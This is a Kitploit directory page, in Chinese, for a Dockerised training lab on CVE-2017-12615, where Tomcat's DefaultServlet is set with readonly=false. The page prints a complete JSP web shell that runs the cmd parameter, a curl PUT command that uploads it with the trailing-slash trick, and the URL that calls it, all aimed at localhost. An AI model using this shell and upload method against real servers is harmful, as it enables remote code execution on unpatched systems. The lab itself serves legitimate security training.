Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-12615-Home-Lab — CVE-2017-12615 Tomcat:通过JSP上传实现远程代码执行的本地实验室,用于红队行动和渗透测试 | Kitploit
工具/GitHubGitHub/netw0rk7/cve-2017-12615-home-lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育红队实验室与实践
GitHubnetw0rk7/cve-2017-12615-home-lab

CVE-2017-12615-Home-Lab

CVE-2017-12615 Tomcat:通过JSP上传实现远程代码执行的本地实验室,用于红队行动和渗透测试

查看仓库
19个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行

图片

本实验室模拟漏洞 CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行
由设置 readonly=false 导致,允许通过 HTTP PUT 上传文件,包括可执行命令的 .jsp 文件(远程代码执行)


图片

特点

  • Apache Tomcat 7.0.79(存在漏洞)
  • 使用 DefaultServlet 覆盖并设置 readonly=false
  • 可以使用 PUT 上传将 .jsp 文件放置到 ROOT web 目录
  • 支持通过 web shell 执行命令
  • 工业风格网页,带有忘记删除的内部注释(提示)
  • 每次容器启动时自动生成 flag_RANDOM.txt
  • 专为 CTF / 红队 / 渗透测试培训设计

目录结构

root@kitploit:~
/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

使用方法(运行容器)

root@kitploit:~
docker compose build
docker compose up -d

打开网页:

root@kitploit:~
http://localhost:8080/

测试漏洞 CVE-2017-12615 的方法

1) 创建 JSP payload 文件

root@kitploit:~
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) 使用 PUT 上传文件(文件名末尾必须有 /)

root@kitploit:~
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) 调用 webshell

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id

旗帜

存储在:

root@kitploit:~
/tmp/flag_RANDOM.txt

英文版本 — CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行

本实验室模拟 CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行,其中 Apache Tomcat 的 DefaultServlet 被错误配置为:

root@kitploit:~
readonly=false

这使得攻击者可以通过 HTTP PUT 上传 .jsp 文件,实现远程代码执行。


图片

特点

  • 存在漏洞的 Apache Tomcat 7.0.79
  • 覆盖 DefaultServlet 并设置 readonly=false
  • PUT 上传 → 将任意 .jsp 文件写入 ROOT web 目录
  • 支持通过 JSP shell 执行命令
  • 工业风格着陆页,带有微妙的内部提示
  • 容器启动时自动生成 flag_RANDOM.txt
  • 适用于 CTF、研究和漏洞利用开发

利用示例

上传 JSP shell

root@kitploit:~
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

执行命令

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id

旗帜位置

root@kitploit:~
/tmp/flag_RANDOM.txt

免责声明

仅用于教育、研究和授权渗透测试。

下载工具